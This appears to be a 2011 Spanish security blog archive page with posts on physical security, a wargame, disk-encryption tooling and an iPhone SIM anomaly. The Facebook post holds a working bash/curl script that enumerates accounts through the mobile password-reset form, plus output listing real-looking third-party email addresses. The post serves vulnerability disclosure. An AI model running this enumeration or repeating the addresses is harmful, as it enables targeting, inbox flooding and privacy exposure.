08 agosto 2011

Seguridad en Instalaciones - Parte 1: Seguridad Física

Toca cambio de tercio. Este artículo está orientado a "abrir" el apetito de los duchos y expertos para que nos muestren, en próximos artículos toda su sabiduría en la materia. Se ha dividido en dos partes para no cansar a la audiencia:
  1. Seguridad Física
  2. Seguridad Electrónica
Vamos a echar un vistazo rápido a la parte física y electrónica de la seguridad. Porque hay vida tras Google, Microsoft o Patriot :P.

Los que tengáis contratados sistemas de protección del hogar ya estaréis familiarizados con algunos de los conceptos se va a tratar de exponer de manera somera a continuación. En términos generales, la seguridad depende de:
  • Medios Humanos (personal de seguridad)
  • Medios Técnicos
    • Pasivos (Seguridad Física)
    • Activos (Seguridad Electrónica)
  • Medios Organizativos (planes de seguridad, normas, estrategias)
Nos centraremos en los Medios Técnicos. Lo primero que se ha de tener en cuenta a la hora de diseñar unas medidas de seguridad para una zona, edificio, habitación, etc. es de qué se trata de proteger. De una amenaza externa (un banco, por ejemplo), de una amenaza interna, no queremos que salga nada o nadie (una cárcel), impedir la observación desde el exterior (no deseamos que sepan lo que hacemos, una factoría ultra secreta), etc. En función de lo que tratemos de proteger se tomarán unas u otras medidas, o ambas a la vez.

Elementos Pasivos - Seguridad Física

No son cortafuegos, ni ACLs, ni inspección de estados... Son elementos diseñados para impedir o retardar la materialización exitosa de una amenaza y por tanto la primera línea de seguridad. Pueden tratarse de barreras externas (muros, vallas) o internas (paredes, techos de una habitación, una caja fuerte).
  • Barreras perimetrales

Muros. De infinidad de materiales, desde pladur hasta hormigón armado, pasando por acero. Pueden estar diseñados para impedir el paso de personas, para protección contra explosiones (no producen metralla), para emanaciones de señales electromagnéticas, etc. Es común tener en cuenta la altura del mismo, el muro de Cisjordania o de la vergüenza (según quien lo mire) que erige Israel a lo largo del territorio de Cisjordania, llega a levantarse hasta 7 metros de altura y tiene planificado alcanzar una longitud de más de 700 km y los hay subterráneos para impedir la construcción de túneles (bypassing the wall :P), llegando a una profundidad de 20 a 30 metros como es el caso del Muro de Egipto.

Otro tipo de barreras son las vallas, cercados, verjas, espino, concertinas. Éstas últimas, provistas de cuchillas que debido a la torsión del alambre salen disparas en cualquier dirección en caso de cortarlas (muy útiles para curar cualquier mal a base de sangrías típicas de la edad media). Este tipo de barreras son menos robustas, por lo general, que los muros pero más económicas, rápidas y fáciles de instalar, suelen verse en instalaciones militares. Pueden estar electrificadas y protegidas contra sabotaje e intrusión mediante sensores.

Los muros y vallas pueden estar terminadas en su parte superior por bayonetas de espino, concertina, etc. en diversas formas, (en oblicuo simple –hacía el exterior de la amenaza es más complejo de sortear-, doble -en V-, etc.).

En las zonas más protegidas, puede haber más de una línea de protección perimetral, vamos dos o más filas de barreras paralelas (a modo de DMZ). Además esta primera línea de defensa pueden complementarse con sensores, cámaras, torretas de vigilancia para la detección de los intrusos.
  • Barreras Periféricas
Puertas, las hay de todo tipo (manuales, automáticas, basculantes, enrollables, giratorias, correderas, extensibles, etc.).

Puede ser de acceso “directo” o con protecciones contra vehículos cargados de explosivos. En este caso, se instalan obstáculos accionables de forma automática, remota o manual, que impiden o dificultan el paso de un posible vehículo proyectado contra las instalaciones a proteger.

Las puertas pueden ser comunes, de seguridad, blindadas o acorazadas. Pueden ser tipo esclusa (unidireccional, bidireccional, lineales, angulares, etc.). Pueden ir “aderezadas” con detectores de metales, muy usadas en sucursales bancarias.

Ventanas, mostradores, respiraderos, claraboyas, etc. pueden estar protegidos con rejas, cristales blindados (diseñados para diferentes amenazas, -armas ligeras, pesadas, vandalismo, etc.
  • Protección del bien
Cajas fuertes y cámaras acorazadas. Los tipos varían en función del tamaño, método de apertura, fortaleza, etc. Como ejemplo de cámara acorazada, la de nuestro Banco de España, construida a base de hormigón armado y cemento fundido, se encuentra sita a 35 metros de profundidad y cuenta con una superficie de 2500 m2 (algo más que los "minipisos" de Trujillo), además cuenta con un foso y su puente levadizo.
Como curiosidad indicar que por encima se canalizan aguas subterráneas que en caso de robo inundarían la cámara y ésta quedaría sellada. Por último decir, que no todo el oro de la reserva se encuentra en el propio banco, puesto que una importante parte en Fort Knox, el Banco de Inglaterra y Banco Internacional de Pagos de Basilea.


Podréis encontrar la segunda parte en este especial sobre Seguridad Física de Ricardo Ramos en: 

------------------------------------------

Contribución enviada por Ricardo Ramos
Leer más...

07 agosto 2011

Enlaces de la SECmana - 83

Leer más...

05 agosto 2011

Tras una larga espera, y con motivo de la Campus Party 2011 de Valencia, el martes 12 de Julio comenzaba el Wargame II de Security By Default. Al igual que en su anterior edición, este concurso estaría abierto a todo el mundo, aunque únicamente optarían a los premios aquellos concursantes que estuviesen registrados como campuseros.

Por delante nos quedaban unos días de piques a mansalva en lo más alto del TOP de usuarios, en la que nada más comenzar el concurso, comenzaron a verse retos resueltos en cuestión de minutos, y una racha de aciertos impresionante. Fijaos en el siguiente gráfico, para el segmento entre el 12 y 13 de Julio:

Evolución gráfica de los primeros 16 usuarios del TOP final
Estadísticas de participantes según su país de registro
Ya lo habíamos avisado con anterioridad: para esta edición, habría retos para todos los gustos, conocimientos, áreas y dificultad, y dejamos todas las 23 pruebas propuestas desbloqueadas desde el primer momento, por lo que el número de alternativas por las que comenzar a atacar este wargame era considerable, pudiendo empezar por cualquiera de las pruebas. Finalmente, los ganadores fueron los siguientes:
  1. nu11 (co) - Cuenta perteneciente al team @NULL Life, cuya página podréis consultar en este enlace. También ganadores del reto de seguridad de la anterior Campus Party de Colombia celebrada semanas antes. ¡Vaya racha!
  2. w3b0n3s (es) - El team w3b0n3s, más que conocidos en el mundillo de los wargames y CTFs, podréis consultar esta lista de twitter para conocer a sus integrantes, y su blog lo tenéis aquí.
  3. kifo (es) - Kifo y "los suyos", participantes del wargame desde la propia Campus Party de Valencia, y que realizaron un trabajo estupendo a lo largo de todo el concurso.
Mención especial al grupo Activalink, que resolvieron todos los retos, pero al conseguir menos puntuación (por incorporarse más tarde al concurso y por ello haberse devaluado las puntuaciones de algunas pruebas), tuvieron que conformarse con un cuarto puesto.

Si bien podréis consultar el seguimiento que fuimos haciendo tanto por nuestra cuenta de twitter como en algún post que escribimos durante esa semana, en este post publicamos los solucionarios/write-ups de los ganadores, así como una recopilación de posts de otros participantes con soluciones a algunas de las pruebas que han subidos a sus respectivos blogs, y que por supuesto, podemos tomar también como posibles formas de resolverlas.

Solucionarios de los ganadores para los retos del Wargame II de SecurityByDefault.com
Resolución de pruebas por parte de otros usuarios (ordenados alfabéticamente por autor):
Si has escrito una solución para alguna de las pruebas del #wgsbd2 y no apareces en este listado, ¡háznoslo saber! Iremos actualizando el post con las nuevas publicaciones en caso de haberlas.

Agradecemos de nuevo a todos aquellos que participasteis en esta segunda edición de nuestro wargame para la Campus Party 2011 de Valencia, y sólo nos queda decir...¡hasta la próxima!
Leer más...

04 agosto 2011

Mundo Hacker TV @ Telecinco

Era un secreto muy bien guardado hasta ahora que desvelamos en primicia hoy.

¡¡ Mundo Hacker TV da el salto a Telecinco !!!

Probablemente nunca antes en la historia de la televisión Española haya habido un programa dedicado enteramente al mundo de la seguridad informática, Telecinco será pionera en este campo (hey, no todo iba a ser Salvame y Gran Hermano ...)

Mundo Hacker TV es un programa ya veterano que se llevaba emitiendo como parte de la programación de GlobbTV (televisión por Internet) en el que participé en el capítulo 4.

En esta nueva andadura participaré en el primer capítulo que tratará sobre troyanos y ciberdelincuencia. El formato del programa es una tertulia inicial, una sección de humor y finalmente una parte de demos. En esa parte presentaré un troyano que ataca al DNI-E del que próximamente hablaré en el blog.

El programa se emitirá el Domingo 7 de Agosto a las 4 de la madrugada. Si, la hora es bastante 'rara' y probablemente a muchos les pille a desmano, aun así para todo aquel que decida madrugar / acostarse tarde para ver el debut de este singular programa, ¡¡ Muchas gracias !! 
Leer más...

03 agosto 2011

The Halls of Mandos es, en el mundo ficticio de J.R.R. Tolkien, el lugar al que los espíritus de elfos fallecidos van a ser juzgados, y posiblemente reencarnados.

Y de aquí viene el nombre de Mandos, un programa cuya función es hacer algo parecido.

Cifrar el sistema de ficheros de nuestro servidor puede darnos ventajas muy interesantes de cara a posibles intrusiones físicas, robos, sustracciones, e incluso fugas de datos gracias a recuperación de información tras desechar el hardware del mismo.

Pero claro, ¿y si se cae el servidor?, ¿y si queremos reiniciarlo?

Tendríamos que estar presencialmente allí para introducir la contraseña que descifre el disco duro en el arranque. Si además tenemos cientos de servidores, ésto es absolutamente inviable.

Mandos permite hacer ésto de una forma automática, desatendida, segura y escalable.

Nuestro servidor, que para entendernos lo llamaremos servidor esclavo, tendrá el sistema de ficheros raiz cifrado.

La clave de cifrado está almacenada en otro ordenador, al que llamaremos servidor de Mandos, y que podrá almacenar claves de varios servidores esclavos cifrados.

La clave no estará almacenada en texto claro en el servidor de Mandos, estará cifrada con OpenPGP. Para descifrar la clave, es necesaria la otra clave, con la que está cifrada, y que está en cada servidor esclavo.

Por lo tanto, en el momento del arranque de nuestros servidores cifrados (esclavos), estos pedirán al servidor Mandos los datos con los que están cifrados (una clave única para cada uno), descifrarán está información con su propia clave, y con ello descifrarán su sistema de ficheros para poder seguir con el arranque.


Todo el intercambio de datos está cifrado mediante TLS (SSL).

Alguien podría pensar, ¿y qué pasa si alguien roba un servidor esclavo y extrae la clave para acceder a la información del servidor Mandos, que le podría permitir descifrar todo el sistema de ficheros del servidor esclavo?

Para evitar ésto, podemos configurar el servidor Mandos para que no envíe nunca más la información de descifrado de un ordenador si éste ha estado offline por X tiempo. Con ésto a un atacante no le daría tiempo a desconectar el servidor, extraer la clave y pedir la información.

El timeout es configurable, y evidentemente deberá ser menor cuanto mayor sea el grado de paranoia.

Si confiamos en los algoritmos de cifrado, a priori éste es el único aspecto débil de Mandos, por lo que habría que buscar un punto entre fiabilidad y seguridad.

Por cierto, Mandos ya está disponible en los repositorios de Ubuntu desde Karmic y en Debian desde el lanzamiento de "squeeze" en Febrero de 2011.

Leer más...

02 agosto 2011

No hace falta escribir una introducción de lo que es Facebook, creo que ya todos sabemos lo malo que es. El tema de la privacidad siempre ha sido un problema para Facebook, ya que si no existiera ese concepto su negocio sería más fácil.

Existen muchas formas de encontrar a personas que usen Facebook, como usar el propio buscador o simplemente consultando el nombre de una persona en Google. Sin ser usuario registrado, es posible conocer a todos los contactos de un usuario, acceder a la foto del perfil, conocer su nombre y si todo sale bien podemos encontrar detalles sobre su vida.

Lo que les comentaré ahora, corresponde a un fallo de seguridad encontrado en la versión móvil de Facebook, que obviamente, afecta a todos los usuarios. Este bug nos permite saber si existe una cuenta asociada a una dirección de correo o número telefónico.

Antes de decidirme a escribir, conversé con distintas personas sobre el tema para ver si no era sólo yo quien veía una vulnerabilidad donde ellos veian una "característica". Si bien cualquier usuario podría "importar" una lista de correos y buscar coincidencias o simplemente usar el buscador de Facebook ingresando la dirección de un correo, el proceso también puede hacerse de forma automatizada, sin ningún tipo de filtros y pudiendo fastidiar a más de un usuario. Curiosamente, esto no se puede hacer en la versión principal de la red social, ya que tiene un CAPTCHA que no permite al bot realizar su trabajo.


El bug se encuentra en la opción "Recuperar contraseña" de la versión mobile (m.facebook.com), el formulario encargado del proceso de reinicio de contraseña no tiene ningún tipo de validación, carece de captchas y no tiene tokens de seguridad, por lo que es posible realizar peticiones POST desde sitios remotos o usando herramientas como curl o wget. Es posible aprovecharse de este bug y explotar la vulnerabilidad para enumerar usuarios según una lista de direcciones de correo o de números telefónicos. Para este ejemplo utilizaré direcciones de correos tomadas desde distintas páginas de "contactos" al azar.

Prueba de Concepto

Al ingresar a la opción de Recuperar contraseña, nos aparece el siguiente formulario:


Hagamos la prueba de ingresar dos correos electrónicos, uno que sepamos que tiene cuenta en Facebook y otro inventado, que estemos seguros de que no tiene cuenta.
  • El correo de prueba verdadero es "pruebasfacebook@hushmail.com" (previamente creado y existente en Facebook)
  • La dirección de correo electrónica falsa será "asdfgasdfg@asdfg.ko".
El resultado es el siguiente, para ambos intentos:

Respuesta de la aplicación de Facebook cuando la dirección de correo electrónico tiene una cuenta asociada

Respuesta de la aplicación de Facebook cuando la dirección no tiene una cuenta asociada
Podemos repetir esta pregunta las veces que queramos, el sistema jamás nos pedirá que validemos que realmente seamos humanos, pudiendo crear un bot "ninja" que valide las cuentas que queramos.

El bot ninja

El script que usaremos de prueba es:
#/bin/bash
for mail in $(cat $1);
do
s=$(curl -s -d "ep=$mail" http://m.facebook.com/reset.php?refid=0|grep form>/dev/null);
if [ $? -eq 0 ]; then
echo "$mail No tiene cuenta.";
else
echo "$mail Si tiene cuenta.";
fi
done

Para ejecutarlo simplemente debemos pasarle un archivo con la lista de correos (correos_poc.txt como ejemplo) a validar:
$ sh poc.sh correos_poc.txt
mmercado@solteroingenieria.com Si tiene cuenta.
ileon@solteroingenieria.com Si tiene cuenta.
delapuente@solteroingenieria.com No tiene cuenta.
cvalenzuela@solteroingenieria.com Si tiene cuenta.
cloyola@solteroingenieria.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
diseno@capehornmarine.com Si tiene cuenta.
info@capehornmarine.com No tiene cuenta.
architect@capehornmarine.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
cc-ceics@msc.es No tiene cuenta.
clens@msc.es Si tiene cuenta.
ddocasar@msc.es Si tiene cuenta.
agomez@msc.es No tiene cuenta.
Esto mismo se puede hacer usando números telefónicos, para saber si existe alguna cuenta de Facebook asociada a un número.

Alcance de la vulnerabilidad

Sé que para muchos esto podría resultar trivial, pero pongámonos en el caso de un ataque dirigido a una empresa o a una persona, donde cada detalle y cada dato son valiosos. Si tuviésemos que validar una lista de miles de correos a mano, esto no sería factible.

También podría ser usado para fastidiar a personas o saturar casillas de correo, ya que al usuario al que pertenece el correo le llega un correo por cada petición realizada, como se aprecia en la siguiente captura:


Indiferente el alcance de esta vulnerabilidad, o si se tratase simplemente de un bug (porque sé que para muchos podría parecer inútil), Facebook no está validando peticiones desde sitios externos pudiendo generar peticiones GET/POST a formularios saltandose todo tipo de filtros.

Reporte y respuesta de Facebook

La vulnerabilidad fue reportada como CSRF en el Sitio Web Movil, usando el formulario "whitehat", con detalles e incluyendo una prueba de conceptos, la respuesta fue:
The ability to locate one of your friend's by their email address is core part of interacting with your friends on Facebook. When a user signs up to Facebook, there is an expectation that they may be located in this manner. An email --> user mapping is exposed in several parts of the site (predominantly, in search).
[...]
this style of information disclosure vulnerability may be applicable at a financial or banking website, it is a core part of the experience on social networks that are designed to connect email addresses to users. As another example, someone who desires to obtain this type of information could first load all of the email addresses into a throw-away email address book, and then utilize our contact importer tool. Requiring the registration of an account would not provide any significant additional friction.
While

Es decir, Facebook no asegura que la información de sus clientes usuarios no pueda ser recolectada de forma automática por un bot o por cualquier otro proceso, aún cuando existen los mecanismos de protección como los ya mencionados CAPTCHA o tokens.

----------------------------------------------------

Contribución enviada por Fernando Lagos (@Zerial)
Leer más...

01 agosto 2011

Iphone y el operador mutante

Recuerdo perfectamente la pregunta que nos hizo AKAE, en la charla de Hackeos Memorables que dimos en Campus Party Valencia 2011: ¿Y a vosotros, alguna vez os han "hackeado"? Y la respuesta de Yago fue: La paranoia siempre existe, cuando ves una conexión que se corta de Gmail, que no sabes por qué o algún cambio...  el riesgo siempre está ahí.

Pues precisamente lo que os quiero contar hoy me trajo por la calle de la amargura la semana pasada y me despertó inicialmente una gran paranoia.

Por delante he de decir que en general, siempre que voy a eventos del tipo Campus Party o RootedCon, donde el aforo suele tener "curiosidad por acceder a los dispositivos de los demás", desactivo el Wireless, bluetooth, etc,.. tanto del iphone como del portátil, por precaución. Sé que en cualquier otro momento sigue existiendo el riesgo, pero en concentraciones de amantes por la tecnología (sobre todo de cómo destriparla, pues mejor que así sea).

Curiosamente, fue al volver de la Campus Party de Valencia cuando observé que algo raro pasaba en mi iPhone.

Al día siguiente, en el multitudinario concierto de Iron Maiden, dada la cantidad de gente (y de terminales móviles reunidos todos juntos) aparte de existir unos problemas de cobertura tremendos, las pocas veces que funcionaba, mi iphone mostraba en la parte superior un operador que en vez de ser Movistar, era Mmvistar,… Llegué a pensar incluso que algún fiel seguidor Taddong estaban por allí y habían instalado una célula GSM "rogue" (como demostraron en RootedCon) y habían cometido un error tipográfico en el operador.


Además aparecía una IP asignada a una red wireless (con el adaptador wifi desactivado) y sin IP 3G. No obstante, preferí disfrutar del concierto y no le dí más importancia al tema, pero por si acaso desactivé los datos y 3G de mi iphone.

En los días sucesivos pude comprobar que, efectivamente, mi móvil seguía mostrando Mmvistar como operador, incluso estando a 600 kilómetros de Madrid, por lo que me quedó claro que el problema lo tenía yo. Teniendo mi novia otro iphone 4, puestos al lado uno del otro, el suyo indicaba el operador Movistar correctamente. ¿Qué sucedía pues con el mío?

El problema parecía tener que ver con la red a la que el móvil se conectaba, aunque he de decir que de vez en cuando aparecía "movistar" como operador, como podéis ver en la imagen en la que buscaba operadores a los que conectarme


La prueba más sencilla que podía hacer teniendo otro iphone 4 a mano: Intercambié las tarjetas SIM entre ambos móviles y oh sorpresa! ahora era el móvil de mi novia quien mostraba Mmvistar, en vez del mío. Es decir, es la SIM, la que hace cosas raras. De hecho, la cobertura de ambos móviles, en lugares de poca recepción, en el caso del que tuviera el operador "movistar" era siempre algo mejor que el que tuviera el operador mutante "Mmvistar".

Como podéis imaginar, hice montones de pruebas: desde un reinicio del iphone, análisis de procesos, sockets abiertos (es la segunda vez que utilizo Sysinfoplus por un posible problema en mi iphone en menos de un mes),… sin encontrar nada sospechoso.

Analicé también los datos de red del menú que devuelve el iphone cuando pulsas las teclas *3001#12345#* en ambos móviles. Tampoco dí con diferencias significativas haciendo lo mismo en ambos móviles.


Además, conectado por SSH al iPhone, busqué la cadena "vistar" en los sistemas de ficheros del móvil por si estuviera en texto claro en algún fichero, pero sin suerte.

Buscando en Google por "Mmvistar", sólo dí con una referencia válida: un foro en el que a una persona también le había pasado esto mismo por Marzo de 2011. Sin embargo, a él le pasaba de Mmvistar a Mmfistar de vez en cuando. En mi caso a veces había suerte y ponía "movistar". Por si acaso me dí de alta en Macuarium y le envié un mensaje privado para ver si el problema se había "arreglado solo". De inmediato me contestó diciendo que aún tenía el mismo problema y que incluso le había cambiado a Mmfistar y a Midastar (¿será publicidad de los talleres?).

Teniendo claro que el problema estaba en la SIM, hice algo que en principio supuse que me iba a traer un dolor de cabeza tremendo: Llamar al número de atención al cliente de Movistar 1004! y claro está, empiezan las preguntas: ¿Ha reiniciado usted el teléfono? ¿Está jailbreakeado? ¿Si le da a buscar operadores, que aparece? Sorprendentemente, me pasan con "Soporte técnico de iPhone" y allí me explican que es un caso muy raro, que no soy el primero que llama por el mismo problema y que posiblemente se arregle simplemente haciendo un duplicado del micro-SIM. Además, me dijeron que es algo que están tratando con Apple puesto que parece ser que una aplicación que he instalado escribe en la SIM y se produce el comportamiento de cambio de operador aleatoriamente.
Efectivamente, tras llevar a cabo un duplicado de la microSIM, se solucionó el problema y ya vuelvo a ser un Movistar puro de nuevo. Sin embargo, la otra microsim, si la inserto en mi iphone, al hacer un "Seleccionar operador manualmente" sigue apareciendo "Mmvistar" como opción.

Conclusiones:
  • El nivel de paranoia que tuve durante una semana, os podéis imaginar que fue importante. No es agradable el pensar, inicialmente, que hubiese un MiTM en mi línea, y ya después que "algo" estuviese generando un Poltergeist en mi SIM.
  • No encontré ninguna herramienta en Cydia (y por supuesto mucho menos en la Appstore) que permita acceder a información detallada de la red a la que te conectas, al menos no para España. Lo único que me permitió analizar esto (aunque no me permitiera sacar mucho en claro) fue la secuencia *3001#12345#* para curiosear por los detalles de la red de telefonía utilizada.
  • Sinceramente, la teoría del soporte de Movistar que hablan de una aplicación con permisos para cambiar el nombre del operador de forma aleatoria y silenciosa, tampoco me convence; no porque no exista (sé que hay aplicaciones para poner tu nombre si quieres en el operador) sino porque llevaba semanas sin meterle aplicaciones nuevas a través de Cydia (incluso tampoco a través de AppStore) desde que detecté el comportamiento anómalo.
  • He preguntado al forero de Macuarium si me puede decir qué aplicaciones tiene en su iphone para ver si encontramos entre las comunes alguna que haya traído regalito, sin embargo a él le pasó en Marzo y a mí en Julio, o mis apps están muy desactualizadas o hay más de una.
  • A alguno de vosotros lectores, ¿os ha pasado algo así? Por favor si así ha sido, dejadlo como comentario o enviadnos un correo a contacto@securitybydefault.com, os aseguro que estoy muy muy interesado en el tema!
Si me vuelve a pasar o encontramos la causa, actualizaremos este post con la nueva info. 
Leer más...